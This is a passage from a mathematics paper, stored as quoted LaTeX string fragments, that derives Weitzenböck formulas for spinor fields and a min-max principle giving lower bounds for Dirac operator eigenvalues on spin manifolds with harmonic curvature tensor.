, \\nabla \\psi \\rangle + \\langle \n\\psi \n, (\\nabla_{X_k} C)(X^k , X^l) \\nabla_{X_l} \\psi \\rangle - \\frac{1}{2} \n|C \\psi |^2 \\ ,\n\\end{array}$$\n\nand we obtain the following formula for the left-hand side of the expression (10) $$\\textstyle\n\\langle C(X^k, X^l) \\nabla_{X^k} \\psi , \\nabla_{X_l} \\psi \\rangle = \n\\mbox{div} \\langle\nC \\psi , \\nabla \\psi \\rangle - \\frac{1}{2} |C \\psi |^2 \n+ \\langle \\psi , (\\nabla_{X_k} C)(X^k , X^l) \\nabla_{X_l} \\psi \\rangle .$$ On the other hand, from (9) we obtain $(\\nabla_Z C)(X,Y) = \\frac{1}{4} \\cdot X^k \\cdot (\\nabla_Z K)(X,Y)(X_k)$ and $$(\\nabla_{X_k} C)(X^k , X^l)\\ = \\ \\frac{1}{4} \\cdot g \\Big( (\\nabla_{X_k} K)(X^k , X^l)(X^i), X^j \\Big) X_i \\cdot X_j \\ .$$ The Bianchi identity $$(\\nabla_X K)(Y,Z) + (\\nabla_Y K)(Z,X) + (\\nabla_Z K)(X,Y)\\ = \\ 0$$\n\nimplies the relation $$g((\\nabla_{X_k} K)(X^k , X)(Y),Z)\\ = \\ g((\\nabla_Z \\mbox{Ric})(Y) \n- (\\nabla_Y \\mbox{Ric})(Z),X)\\ .$$\n\nThe latter two equations yield $$\\begin{array}{lll}\n(\\nabla_{X_k}C)(X^k, X^l)&=& \\frac{1}{4} g\\Big((\\nabla_{X^j} \\mbox{Ric})(X^i) \n- (\\nabla_{X^i} \\mbox{Ric})(X^j), X^l\\Big) X_i \\cdot X_j \\\\[1em]\n&=& \\frac{1}{4} \\Big(g\\Big(X^i, (\\nabla_{X^j} \\mbox{Ric})(X^l)\\Big)-g\\Big(X^j, \n(\\nabla_{X_i} \\mbox{Ric})(X^l)\\Big)\\Big) X_i \\cdot X_j \\\\[1em]\n&=& \\frac{1}{4} \\Big((\\nabla_{X_j} \\mbox{Ric})(X^l) \\cdot X^j - \nX^i \\cdot (\\nabla_{X_i} \\mbox{Ric})(X^l)\\Big) . ",
"\n\\end{array}$$\n\nInserting this formula we obtain $(10)$. $\\Box$\\\nIn the following we use the Schrödinger-Lichnerowicz formula $$\\nabla^* \\nabla \\ = \\ D^2 - {\\textstyle \\frac{1}{4}}R \\ .$$\n\nThe local expression of the Bochner Laplacian $\\nabla^* \\nabla$ is $$\\nabla^* \\nabla \\ = \\ - \\nabla_{X_k , X^k} \\ = \\ - \\nabla_{X_k} \\nabla_{X^k} +\n\\Gamma_k \\mbox{}^{kl} \\nabla_{X_l} \\ ,$$\n\nwhere the Christoffel symbols $\\Gamma_{ij}\\mbox{}^k$ are defined by $\\nabla_{X_i} X_j = \\Gamma_{ij} \\mbox{}^k X_k$. In the proof of the following lemma we also use the well known general formulas $$X^k \\cdot \\nabla_{X,X_k} \\psi \\ = \\ \\nabla_X D \\psi \\ ,$$ $${\\textstyle\nX^k \\cdot \\nabla_{X_k, X} \\psi \\ = \\ D\\nabla_X \\psi - X^k \\cdot\n\\nabla_{\\nabla_{X_k}X} \\psi \\ = \\ \\nabla_X D \\psi + \\frac{1}{2} \\mbox{Ric}(X) \\cdot \\psi . }",
"$$\n\nMoreover, for $\\psi, \\varphi \\in \\Gamma (S)$, let $\\psi \\varphi$ and $\\langle \\psi, \\nabla \\varphi \\rangle$ be the complex vector fields on $M^n$ locally given by $$\\psi \\varphi \\ := \\ i \\cdot \\langle \\psi , X^k \\cdot \\varphi \\rangle \\cdot X_k\n \\quad , \\quad \n\\langle \\psi , \\nabla \\varphi \\rangle \\ := \\ \\langle \\psi , \\nabla_{X^k} \n\\varphi \\rangle \\cdot X_k \\ .$$\n\nThe vector field satisfies the relation\n\n$$i \\cdot \\mbox{div} (\\psi \\varphi)\\ = \\ \\langle D \\psi , \\varphi \\rangle - \n\\langle \\psi , D \\varphi \\rangle .$$\n\n[**Lemma 1.3:**]{} [*Let $\\psi$ be any spinor field. ",
"Then there is the identity*]{} $$\\mbox{} \\quad \n\\begin{array}{l}\n\\Big\\langle C(X^k, X^l) \\nabla_{X^k} \\psi , \\nabla_{X_l} \\psi \\Big\\rangle \n = - \\mbox{Re} \\left(\\Big\\langle \\mbox{Ric} (X^k) \\nabla_{X_k} D \\psi , \n\\psi \\Big\\rangle \\right)\n+ \\Big\\langle \\nabla_{\\mbox{Ric} (X^k)} \\psi, \\nabla_{X^k} \\psi \\Big\\rangle \n\\\\[1em]\n+ \\ \\frac{1}{4}\n\\Big|\\mbox{Ric}\\Big|^2 \\cdot \\Big|\\psi\\Big|^2 - \\frac{1}{2} \\Big|C \\psi \n\\Big|^2 +\n \\Big|\\nabla D \\psi \\Big|^2 - \\frac{R}{4} \\cdot \\Big|\\nabla \\psi \\Big|^2 - \n\\Big|(D^2 - \\frac{R}{4}) \\psi \\Big|^2 \\\\[1em]\n+ \\mbox{div} \\Big(i\\left(\\nabla_{X_k} D \\psi + \\frac{1}{2} \\mbox{Ric} (X_k) \n\\cdot \\psi\\right)\\left(\\nabla_{X_k} \\psi\\right)+ \\Big\\langle C \\psi , \\nabla \n\\psi \\Big\\rangle - \\Big\\langle (D^2 - \\frac{R}{4})\\psi, \\nabla \\psi \n\\Big\\rangle \\Big) . ",
"\n\\end{array}$$\n\n[**Proof:**]{} Let $x \\in M^n$ be any point and let $(X_1 , \\ldots , X_n)$ be any orthonormal frame in a neighbourhood of $x$ such that $(\\nabla X_k)_x\n=0$ for $k=1, \\ldots , n$. We use the notations $$R_{ijkl} \\ := \\ g (K(X_i, X_j)(X_k), X_l) , \\quad\nR_{ij} \\ := \\ g(\\mbox{Ric}(X_i), X_j)= R_{ik}\\mbox{}^k \\mbox{}_j \\ .$$\n\nThen, we have $\\Gamma_{ij}\\mbox{}^k =0$ at the point $x$ and\\\n$(*)$ $\\displaystyle \nR_{ijk}\\mbox{}^l =X_i (\\Gamma_{jk}\\mbox{}^l) - X_j (\\Gamma_{ik}\\mbox{}^l) , \n\\quad R_i\\mbox{}^j =X_i (\\Gamma_k\\mbox{}^{kj}) - X_k (\\Gamma_i\\mbox{}^{kj})\\ \n. ",
"$\\\n\nUsing this we calculate $$\\begin{array}{l}\n \\Big\\langle C {(X^k, X^l)}\\nabla_{X_k} \\psi , \\nabla_{X_l} \\psi \\Big\\rangle \\ = \\ \n\\Big\\langle \\nabla_{X^k} \\nabla_{X^l} \\nabla_{X_k} \\psi - \\nabla_{X^l} \\nabla_{X^k} \\nabla_{X_k} \\psi , \\nabla_{X_l} \\psi \\Big\\rangle \\\\[1em]\n= \\ \\Big\\langle \\nabla_{X^k} \\nabla_{X^l} \\nabla_{X_k} \\psi , \n\\nabla_{X_l} \\psi \\Big\\rangle + \\Big\\langle \\nabla_{X^l} ( - \\nabla_{X^k} \n\\nabla_{X_k} \\psi), \\nabla_{X_l} \\psi \\Big\\rangle \\\\[1em]\n= \\ \\Big\\langle \\nabla_{X^k}(\\nabla_{X^l, X_k} \\psi + \\Gamma_{lk}\\mbox{}^p \n\\nabla_{X_p} \\psi), \\nabla_{X^l} \\psi \\Big\\rangle \n+ \\Big\\langle \\nabla_{X_l} (- \\nabla_{X^k, X_k} \\psi - \\Gamma_k\\mbox{}^{kp} \n\\nabla_{X_p} \\psi), \\nabla_{X^l} \\psi \\Big\\rangle \\\\[1em]\n\\hspace{-4mm}\\stackrel{(11)(12)}{=} \\ \\Big\\langle \\nabla_{X^k} (C(X_l, X_k)\\psi + \n\\nabla_{X_k, X_l} \\psi ) , \\nabla_{X^l} \\psi \\Big\\rangle + X_k (\\Gamma_{lk}\n\\mbox{}^p) \\Big\\langle \\nabla_{X_p} \\psi, \\nabla_{X^l} \\psi \\Big\\rangle \\\\[1em]\n\\hspace{6mm} + \\ \\Big\\langle \\nabla_{X_l} ((D^2 - \\frac{R}{4})\\psi), \n\\nabla_{X^l} \\psi \\Big\\rangle - X_l (\\Gamma_k\\mbox{}^{kp}) \\Big\\langle \n\\nabla_{X_p} \\psi, \\nabla_{X^l} \\psi \\Big\\rangle \\\\[1em]\n= \\ \\Big\\langle \\nabla_{X_k} (C(X^l , X^k) \\psi), \\nabla_{X_l} \\psi \n\\Big\\rangle + \\Big\\langle \\nabla_{X^k} \\nabla_{X_k, X_l} \\psi , \n\\nabla_{X^l} \\psi \n\\Big\\rangle + (X_k (\\Gamma_l\\mbox{}^{kp} ) - X_l (\\Gamma_k\\mbox{}^{kp})) \n\\cdot \n\\end{array}$$ $$\\begin{array}{l}\n\\hspace{6mm} \\Big\\langle \n\\nabla_{X_p} \\psi, \\nabla_{X^l} \\psi \\Big\\rangle + X_l \\Big(\\Big\\langle \n(D^2 - \\frac{R}{4}) \\psi , \\nabla_{X^l} \\psi \n\\Big\\rangle\\Big)\n- \\Big\\langle (D^2 - \\frac{R}{4})\\psi , \\nabla_{X_l} \\nabla_{X^l} \\psi \n\\Big\\rangle\\\\[1em]\n\\stackrel{(*)}{=} \\ X_k \\Big(\\Big\\langle C(X^l, X^k) \\psi , \\nabla_{X_l} \n\\psi \\Big\\rangle\\Big) - \\Big\\langle C(X^l, X^k) \\psi , \\nabla_{X_k} \\nabla_{X_l} \\psi \\Big\\rangle \\\\[1em]\n\\hspace{6mm}+ \\ \\Big\\langle \\nabla_{X^k} (\\nabla_{X_k} \\nabla_{X_l} \\psi - \n\\Gamma_{kl}\\mbox{}^p \\nabla_{X_p} \\psi), \\nabla_{X^l} \\psi \\Big\\rangle \n- R_l\\mbox{}^p \\Big\\langle\n\\nabla_{X_p} \\psi, \\nabla_{X^l} \\psi \\Big\\rangle \\\\[1em]\n\\hspace{6mm} + \\ \\mbox{div} \\Big\\langle (D^2 - \\frac{R}{4} )\\psi , \\nabla \n\\psi \\Big\\rangle + \\Big|(D^2 - \\frac{R}{4} )\\psi \\Big|^2 \\\\[1em]\n= \\ - \\ \\mbox{div} \\Big\\langle C \\psi , \\nabla \\psi \\Big\\rangle + \\frac{1}{2} \n|C \\psi |^2 - \\Big\\langle (D^2 - \\frac{R}{4}) \\nabla_{X_k} \\psi , \\nabla_{X^k} \n\\psi \\Big\\rangle - X^k (\\Gamma_{kl}\\mbox{}^p )\\Big\\langle \\nabla_{X_p} \\psi \n, \\nabla_{X^l} \\psi \n\\Big\\rangle \\\\[1em]\n\\hspace{6mm}-\\ \\Big\\langle \\nabla_{\\mbox{Ric} (X^k)} \\psi , \\nabla_{X_k} \\psi \\Big\\rangle + \\mbox{div} \\Big\\langle (D^2 - \\frac{R}{4} )\\psi , \\nabla \\psi \n\\Big\\rangle + \\Big|(D^2-\\frac{R}{4} )\\psi \\Big|^2 . ",
"\n\\end{array}$$\n\nHence, it holds that $$\\begin{array}{ll}(2*) &\n\\begin{array}{l}\n\\Big\\langle C(X^k , X^l) \\nabla_{X_k} \\psi , \\nabla_{X_l} \\psi\n\\Big\\rangle \\ = \\ \\Big|(D^2 - \\frac{R}{4} )\\psi \\Big|^2 + \\frac{1}{2} \n\\Big|C \\psi \\Big|^2 - \\Big\\langle \\nabla_{\\mbox{Ric} (X^k)} \\psi , \n\\nabla_{X_k} \\psi \\Big\\rangle \\\\[1em]\n+ \\ X_k (\\Gamma^{kpl}) \\cdot \\Big\\langle \\nabla_{X_p} \\psi , \\nabla_{X_l} \\psi \\Big\\rangle + \\frac{R}{4} \\cdot \\Big|\\nabla \\psi \\Big|^2 - \\Big\\langle D^2 \\nabla_{X_l} \\psi , \n\\nabla_{X^l}\\psi \\Big\\rangle \\\\[1em] \n+ \\ \\mbox{div} \\Big(\\Big\\langle (D^2 - \\frac{R}{4} )\\psi , \\nabla \\psi \\Big\\rangle - \\Big\\langle C \\psi , \\nabla \\psi \\Big\\rangle \\Big) \\ . ",
"\n\\end{array}\n\\end{array}$$\n\nFurther, we have $$\\begin{array}{l}\n\\Big\\langle D^2 \\nabla_{X_l} \\psi , \\nabla_{X^l} \\psi \\Big\\rangle \\ = \\ \n\\Big\\langle D(D\\nabla_{X_l} \\psi ), \\nabla_{X^l} \\psi \\Big\\rangle \\\\[1em]\n\\stackrel{(14)}{=} \\ \\Big\\langle D(\\nabla_{X_l} D \\psi + \\frac{1}{2} \\mbox{Ric}(X_l) \\cdot \\psi + \\Gamma_{kl}\\mbox{}^p X^k \\cdot \\nabla_{X_p} \\psi), \\nabla_{X^l} \\psi \\Big\\rangle \\\\[1em]\n= \\ \\Big\\langle D(\\nabla_{X_l} D \\psi + \\frac{1}{2} \\mbox{Ric} (X_l) \\cdot \n\\psi), \\nabla_{X^l} \\psi \\Big\\rangle + X_q (\\Gamma_{kl}\\mbox{}^p)\n\\Big\\langle X^q \\cdot X^k \\cdot \\nabla_{X_p} \\psi , \\nabla_{X^l} \\psi \n\\Big\\rangle \\\\[1em]\n\\stackrel{(15)}{=} \\ i \\cdot \\mbox{div} \\Big((\\nabla_{X_l} D \\psi + \\frac{1}{2} \\mbox{Ric} (X_l) \\cdot \\psi)(\\nabla_{X^l} \\psi)\\Big)+ \\Big\\langle \n\\nabla_{X_l} D \\psi + \\frac{1}{2} \\mbox{Ric}(X_l)\n\\cdot \\psi, D \\nabla_{X_l} \\psi \\Big\\rangle \\\\[1em]\n\\hspace{6mm} + \\left( \\frac{1}{2} (X_q (\\Gamma_{kl}\\mbox{}^p) - X_k (\\Gamma_{ql}\\mbox{}^p )) + \\frac{1}{2} (X_q (\\Gamma_{kl}\\mbox{}^p) + X_k (\\Gamma_{ql}\\mbox{}^k )) \\right) \\Big\\langle X^q \\cdot X^k \\cdot \\nabla_{X_p} \\psi , \\nabla_{X^l} \\psi \\Big\\rangle \\\\[1em]\n\\end{array}$$ $$\\begin{array}{l}\n\\stackrel{(15),(*)}{=} i \\cdot \\mbox{div} \\Big(( \\nabla_{X_l} D \\psi + \n\\frac{1}{2} \\mbox{Ric} (X_l) \\cdot \\psi )(\\nabla_{X^l} \\psi )\\Big)\\\\[1em]\n\\hspace{6mm}+ \\ \\Big\\langle \\nabla_{X_l} D \\psi + \\frac{1}{2} \\mbox{Ric} \n(X_l) \\cdot \\psi , \\nabla_{X^l} D \\psi + \\frac{1}{2} \\mbox{Ric} (X^l) \\cdot \n\\psi \\Big\\rangle \\\\[1em]\n\\hspace{6mm} +\\ \\frac{1}{2} R_{qkl}\\mbox{}^p \\langle X^q \\cdot X^k \\cdot \\nabla_{X_p} \\psi, \\nabla_{X^l} \\psi \\rangle - X_k (\\Gamma^{klp})\\langle \\nabla_{X_p} \\psi, \\nabla_{X_l} \\psi \\rangle \\\\[1em]\n= \\ i \\cdot \\mbox{div} \\Big((\\nabla_{X_l} D \\psi + \\frac{1}{2} \\mbox{Ric}\n(X_l) \\cdot \\psi)(\\nabla_{X^l} \\psi )\\Big) + |\\nabla D \\psi |^2 \n- \\mbox{Re} \\Big(\\langle \\mbox{Ric} (X^l) \\nabla_{X_l} D \\psi , \n\\psi \\rangle \\Big) \\\\[1em]\n\\hspace{6mm} +\\ \\frac{1}{4} |\\mbox{Ric}|^2 |\\psi|^2 - \\frac{1}{2} R^{plqk} \n\\langle X_q \\cdot X_k \\cdot \\nabla_{X_p} \\psi, \\nabla_{X^l} \\psi \\rangle \n+ X_k (\\Gamma^{kpl}) \\langle \\nabla_{X_p} \\psi, \\nabla_{X_l} \\psi \\rangle \n\\\\[1em]\n\\stackrel{(9)}{=} \\ i \\cdot \\mbox{div} \\Big((\\nabla_{X_l} D \\psi + \\frac{1}{2} \\mbox{Ric}(X_l) \\cdot \\psi)(\\nabla_{X^l} \\psi)\\Big)+ |\\nabla D \\psi|^2 + \n\\frac{1}{4} |\\mbox{Ric}|^2 \\cdot |\\psi|^2\\\\[1em]\n\\hspace{6mm} - \\ \\mbox{Re} \\Big(\\langle \\mbox{Ric} (X^l) \\nabla_{X_l} \nD \\psi , \\psi \\rangle \\Big) + X_k (\\Gamma^{kpl}) \\langle \\nabla_{X_p} \\psi , \n\\nabla_{X_l} \\psi \\rangle - 2 \\Big\\langle C(X^p , X^l) \\nabla_{X_p} \\psi , \n\\nabla_{X_l} \\psi \\Big\\rangle \\ . ",
"\n\\end{array}$$\n\nInserting the latter equation into $(2*)$ we obtain $(16)$. $\\Box$\\\nComparing the equations $(10)$ and $(16)$ we obtain immediately\\\n[**Lemma 1.4:**]{} [*For any spinor field $\\psi$, we have the identity*]{} $$\\begin{array}{l}\n\\mbox{Re} \\Big(\\Big\\langle \\mbox{Ric} (X^k) \\nabla_{X_k} D \\psi , \n\\psi \\Big\\rangle \\Big) + \\frac{1}{4}\n\\Big\\langle \\psi , \\Big((\\nabla_{X_k} \\mbox{Ric})(X^l) X^k \n- X^k ( \\nabla_{X_k} \\mbox{Ric})(X^l)\\Big) \\nabla_{X_l} \\psi \n\\Big\\rangle \\\\[1em]\n\\mbox{} \\quad \n= \\ \\Big|\\nabla D \\psi \\Big|^2 - \\Big|(D^2 - \\frac{R}{4} ) \\psi \\Big|^2 - \n\\frac{R}{4} \\Big|\\nabla \\psi \\Big|^2 + \\frac{1}{4} \\Big|\\mbox{Ric}\n\\Big|^2 \\Big|\\psi \\Big|^2 \n+ \\Big\\langle \\nabla_{\\mbox{Ric} (X^k)} \\psi, \\nabla_{X_k} \\psi \\Big\\rangle \\\\[1em]\n\\hspace{6mm} + \\ \\mbox{div}\n\\Big(i(\\nabla_{X_k} D \\psi + \\frac{1}{2} \\mbox{Ric} (X_k) \\psi)(\\nabla_{X^k}\n\\psi) - \\Big\\langle (D^2 - \\frac{R}{4})\\psi , \\nabla \\psi \\Big\\rangle \\Big) \\\n. ",
"\n\\end{array}$$\n\nThe following purely algebraic condition on the covariant derivative of the Ricci tensor implies that the second term in formula $(17)$ vanishes. ",
"The proof is an easy computation using the relations in the Clifford algebra. ",
"A thorough geometric discussion of this condition will be provided in Section $2$.\\\n[**Lemma 1.5:**]{} [*If the covariant derivative of the Ricci tensor satisfies*]{} $$(\\nabla_X\\mbox{Ric})(Y) \\ = \\ (\\nabla_Y\\mbox{Ric})(X) \\ ,$$ [*then, for any spinor field $\\psi$ and any vector field*]{} $Y$, [*the Clifford product*]{} $$\\Big((\\nabla_{X_k} \\mbox{Ric})(Y) \\cdot X^k \n- X^k \\cdot ( \\nabla_{X_k} \\mbox{Ric})(Y)\\Big) \\cdot \\psi \\ = \\ 0$$ [*vanishes.*]{}\\\nWe thus obtain the following Weitzenböck formula for the length $|Q^t \\psi|^2$, which is fundamental for all our further considerations.\\\n[**Theorem 1.6:**]{} [*Let $M^n$ be a Riemannian spin manifold and suppose that*]{} $$(\\nabla_X\\mbox{Ric})(Y) \\ = \\ (\\nabla_Y\\mbox{Ric})(X) \\ .$$ [*Then, for any spinor field $\\psi$, there exists a vector field $X_{\\psi} \n\\in \\Gamma (TM^n)$ such that*]{} $$\\begin{array}{l}\n\\Big|Q^t \\psi \\Big|^2 \\ = \\ \\Big|\\nabla D \\psi \\Big|^2 - \\frac{1}{n} \n\\cdot \\Big|D^2 \\psi \\Big|^2 + t^2 \\cdot \\Big|\\mbox{Ric} - \\frac{R}{n} \\Big|^2 \n\\cdot \\Big|\\psi \\Big|^2 \n+ 2t \\cdot \\Big( \\frac{R}{n} \\cdot \\mbox{Re} (\\langle D^2 \\psi , \\psi \\rangle ) \\\\[1em]\n\\hspace{14mm} + \\ \\Big|(D^2 - \\frac{R}{4} )\\psi \\Big|^2 + \\frac{R}{4} \\cdot \n\\Big|\\nabla \\psi \\Big|^2 - \\Big|\\nabla D \\psi \\Big|^2 - \\frac{1}{4} \n\\cdot \\Big|\\mbox{Ric} \\Big|^2 \\Big|\\psi \\Big|^2 \\\\[1em]\n\\hspace{14mm} - \\ \\Big\\langle \\nabla_{\\mbox{Ric} (X^k)} \\psi , \\nabla_{X_k} \n\\psi \\Big \\rangle + \\mbox{div} (X_{\\psi} ) \\Big) \\ .",
"\n\\end{array}$$\n\n[**Proof:**]{} The formula follows from $(8)$ and $(17)$ if one defines $X_{\\psi}$ locally by $$\\textstyle\nX_{\\psi} \\ := \\ \\mbox{Re} \\Big( \\Big\\langle (D^2 - \\frac{R}{4}) \\psi, \\nabla \\psi \\Big\\rangle - i \\Big(\\nabla_{X_k} D \\psi + \\frac{1}{2} \\mbox{Ric} (X_k) \n\\cdot \\psi\\Big)\\Big(\\nabla_{X^k} \\psi \\Big) \\Big) . ",
" \\quad \\quad \\quad\n\\quad \\Box$$\n\nA mini-max principle for the estimate of the eigenvalues\n========================================================\n\nIn this section we assume that $M^n$ is compact, connected and that the Ricci tensor satisfies the condition $$(\\nabla_X\\mbox{Ric})(Y) \\ = \\ (\\nabla_Y\\mbox{Ric})(X) \\ .$$\n\nIt is an easy consequence of the Bianchi idendity that the scalar curvature of the manifold must be constant. ",
"Then the tensor $$T(X) \\ := \\ \\frac{1}{n-2} \\Big( \\frac{R}{2(n-1)}\\cdot X - \n\\mbox{Ric}(X) \\Big)$$ has the same properties as the Ricci tensor. ",
"In dimension $n=3$ the manifold is conformally flat. ",
"If $n \\ge 4$, we obtain the identity $$(\\nabla_{X_k}W)(X,Y,X^k) \\ = \\ (n-3) \\cdot \\big((\\nabla_{X}T)(Y) - \n(\\nabla_{Y}T)(X)\\big)$$ by computing the divergence of the Weyl tensor $W$ (see [@YB]). ",
"Therefore, the manifold satisfies the mentioned condition for the Ricci tensor if and only if it has constant scalar curvature and a harmonic Weyl tensor. ",
"Moreover, these two properties are equivalent to the condition that the curvature tensor is harmonic (see Chapter $16$ in [@Besse]). ",
"The following examples are known:\n\n1. ",
" Local products of Einstein manifolds;\n\n2. ",
" conformally flat manifolds with constant scalar curvature;\n\n3. ",
" warped products $S^1 \\times_{f^2} N^{n-1}$ of an Einstein manifold with positive scalar curvature $R = 4(n-1)/n$ by $S^1$ (see [@Der1], [@Der2], [@Der3]), where the function $F := f^{n/2}$ is a positive, periodic solution of the differential equation $$F^{''} \\ - \\ F^{1-\\frac{4}{n}} \\ = \\ - \\, F \\ ;$$\n\n4. ",
" warped products over Riemann surfaces.",
"\n\nWe denote by $\\kappa_1(x) \\le \\kappa_2(x) \\le \\ldots \\le \\kappa_n(x)$ the eigenvalues of the Ricci tensor at the point $x \\in M^n$ and by $\\kappa_0$ the minimum of $\\kappa_1$. If $D \\psi = \\lambda \\psi$ is an eigenspinor, then $(18)$ yields the inequality $$\\int_{M^n} \\Big( \\Big( \\frac{n-1}{n} \\lambda^4 - \\frac{R}{4} \\lambda^2\n+2 t (\\frac{R}{n} \\lambda^2 - \\frac{1}{4} | \\mbox{Ric} |^2 ) + t^2\n|\\mbox{Ric} - \\frac{R}{n} |^2 \\Big) | \\psi |^2 \n- 2t \\Big\\langle \\nabla_{\\mbox{Ric}(X^k)} \\psi, \\nabla_{X_k} \\psi \n\\Big\\rangle \\Big) \\, \\ge \\, 0 \\, .$$ In case of an Einstein manifold we get back the inequality $(1)$. In general, the Schrödinger-Lichnerowicz formula and the estimation $$\\kappa_0 | \\nabla \\psi|^2 \\ \\le \\ \\langle \\nabla_{\\mbox{Ric} (X^k)} \\psi , \n\\nabla_{X_k} \\psi \\rangle$$ imply the inequality $$\\kappa_0 \\cdot \\int_{M^n} (\\lambda^2 - \\frac{R}{4}) |\\psi|^2 \n\\ \\le \\ \\int_{M^n} \\langle \\nabla_{\\mbox{Ric} (X^k)} \\psi , \\nabla_{X_k}\n\\psi \\rangle$$ and, finally, for any $t \\ge 0$ we obtain the condition $$\\lambda^2\\Big(\\lambda^2 - \\frac{nR}{4(n-1)}\\Big) + 2t \\frac{n}{n-1}\n\\Big( \\frac{R}{n} - \\kappa_0 \\Big)\\Big(\\lambda^2 - \\frac{R}{4}\\Big)+\n\\frac{n}{n-1}\\max_{x \\in M^n}\\Big[ \\Big(t^2 - \\frac{t}{2}\\Big) \\Big|\\mbox{Ric} - \\frac{R}{n}\\Big|^2 \\Big] \\ \\ge \\ 0 \\ .$$ This is a min-max principle and can be used in order to estimate the eigenvalues of the Dirac operator from below. ",
"Of course, only parameters between $0 \\le t \\le 1/2$ are interesting. ",
"A similar result involving only the scalar curvature was proved in [@FKIM]. ",
"For $\\lambda = 0$ we immediately obtain the following result\\\n[**Theorem 2.1:**]{} [*Let $M^n$ be a compact Riemannian spin manifold with harmonic curvature tensor. ",
"If*]{} $\\kappa_0$ [*and*]{} $|\\mbox{Ric}|^2_0$ [*denote the minimum of the eigenvalues and the length of the Ricci tensor, respectively, and if*]{} $$|\\mbox{Ric}|^2_0 \\ > \\ R \\cdot \\kappa_0$$ [*holds, then there are no harmonic spinors.*]{}\\\nIf the scalar curvature is positive, we know that $\\lambda^2 \\ge nR/4(n-1)$ and the mini-max principle yields a better estimate only in case that the left-hand side is negative for $\\lambda^2 = nR/4(n-1)$ and some $t > 0$. This condition is equivalent to $$| \\mbox{Ric} |^2_0 \\ > \\ \\frac{R}{n-1} (R- \\kappa_0) \\ ,$$ where $\\kappa_0$ and $|\\mbox{Ric} |_0$ are the minimum of the eigenvalues and the length of the Ricci tensor, respectively\\\n[**Example 1:**]{} The warped product $S^1 \\times_{f^2} N^{n-1}$ of an Einstein manifold $N^{n-1}$ with positive scalar curvature $R = 4(n-1)/n$ by $S^1$ never satisfies the latter condition. ",
"Solving the differential equation $F^{''} - F^{1-\\frac{4}{n}} = - F$ for $\\, n=5,\\, F'(0) = 0$ and $F(0) = 0.1$ we obtain, for example, $\\kappa_0 = - \\, 8.5$ and $|\\mbox{Ric}|_0^2 = 2$. One series of examples which we can apply our inequality to consist of products $ (S^1 \\times_{f^2} N^{n-1}) \\times \\ldots \\times \n (S^1 \\times_{f^2} N^{n-1})$ with a sufficiently large number of factors. ",
"A second series are products $\\Sigma^k \\times (S^1 \\times_{f^2} N^{n-1})$ by an Einstein manifold $\\Sigma^k$ with sufficiently large scalar curvature. ",
"We describe the case of a two-dimensional sphere $\\Sigma^2$ and a $4$-dimensional Einstein spin manifold $N^4$ with scalar curvature $R_{N} = 16/5$ in greater delail. ",
"Consider the positive, periodic solution $F = f^{5/2}$ of the differential equation $F'' - F^{1/5} = - F$ with initial values $F(0) = 0.1$ and $F'(0) = 0$. The Ricci tensor of the manifold $S^1 \\times_{f^2} N^{4}$ has two eigenvalues $$\\kappa_1 \\ = \\ \\frac{24}{25} \\Big( \\frac{F'}{F}\\Big)^2 + \\frac{8}{5} \\Big( 1\n- F^{- \\frac{4}{5}} \\Big), \\quad \\kappa_2 \\ = \\ \\frac{1}{4} \\Big( \\frac{16}{5}\n- \\kappa_1 \\Big) \\ .$$ The multiplicity of $\\kappa_1$ is one, the multiplicity of $\\kappa_2$ is four, the scalar curvature of the warped product equals $16/5$. Denote by $R_{\\Sigma}$ the scalar curvature of the sphere $\\Sigma^2$ and consider the manifold $M^{7} := \\Sigma^2 \\, \\times \\, ( S^1 \\times_{f^2} N^{4})$. Then we have $$|\\mbox{Ric}_M |_0^2 \\ = \\ \\frac{R^2_{\\Sigma}}{2} + |\\mbox{Ric}_{(S^1 \\times_{f^2} N^{4})}|_0^2 \\ = \\ \n\\frac{R^2_{\\Sigma}}{2} + 2, \\quad R_M \\ = \\ R_{\\Sigma} + \\frac{16}{5}, \\quad \n\\kappa_0 \\ = \\ - \\, 8.5 \\ .$$ For the optimal parameter $t= 0.212$ we obtain the estimate $$\\lambda^2 \\ \\ge \\ - \\, 1.74873 + 0.1105 \\cdot R_{\\Sigma} + 0.235194 \\cdot\n\\sqrt{120.053 + 12.8828 \\cdot R_{\\Sigma} + R^2_{\\Sigma}} \\ \\approx \\ \n0.3457 \\cdot R_{\\Sigma} \\ ,$$ whereas the inequality $(1)$ yields the estimate $\\lambda^2 \\ge \n\\frac{7}{24}R_{\\Sigma} + \\frac{14}{15} \\approx 0.29 \\cdot R_{\\Sigma}$. $\\hfill \\Box$\\\nThe discussion of the limiting case yields a spinor field $\\psi$ in the kernel of one of the operators $Q^t$ with $t \\ge 0$. Moreover, at every point we have $$\\kappa_1 | \\nabla \\psi|^2 \\ = \\ \\langle \\nabla_{\\mbox{Ric} (X^k)} \\psi , \n\\nabla_{X_k} \\psi \\rangle \\ ,$$ i.e., the derivative of $\\psi$ vanish in all directions $Y$ that are orthogonal to the $\\kappa_1$-eigenspace of the Ricci tensor, $\\nabla_Y\\psi = 0$. The equation $Q^t \\psi =0$ means that the eigenspinor $\\psi$ satisfies the equation $$\\nabla_X \\psi + \\frac{\\lambda}{n} X \\cdot \\psi + \\frac{t}{\\lambda}\n(\\mbox{Ric} - \\frac{R}{n})(X) \\cdot \\psi \\ =\\ 0$$ for each vector field $X$. In particular, the length of the spinor field is constant. ",
"If $t=0$, then $\\psi$ is a Killing spinor. ",
"In case $t > 0$, we consider the largest eigenvalue $\\kappa_n$ at a minimum $x_0 \\in M^n$ of $\\kappa_1$ and insert an eigenvector. ",
"Then we obtain $$\\textstyle\n\\lambda^2 + t \\cdot (n \\cdot \\kappa_n(x_0) - R) \\ = \\ 0 \\ .$$ But $n \\cdot \\kappa_n(x_0)-R$ is positive, a contradiction. ",
"Thus the limiting case in the inequality cannot occur except that $M^n$ is an Einstein manifold with a Killing spinor.\\\nFirst we consider the case that the scalar curvature $R=0$ vanishes. ",
"Then $\\kappa_0$ is negative and for any positive $t$ we have $$\\frac{n-1}{n} \\lambda^4 - 2 t \\cdot \\kappa_0 \\cdot\\lambda^2 + \\max_{x \\in \nM^n}\\Big[ \\Big(t^2 - \\frac{t}{2}\\Big) |\\mbox{Ric}|^2 \\Big] \\ > \\ 0 \\ .$$ An elementary discussion yields the proof of the following theorem.\\\n[**Theorem 2.2:**]{} [*Let $M^n$ be a compact, non-Ricci flat Riemannian spin manifold with harmonic curvature tensor and vanishing scalar curvature. ",
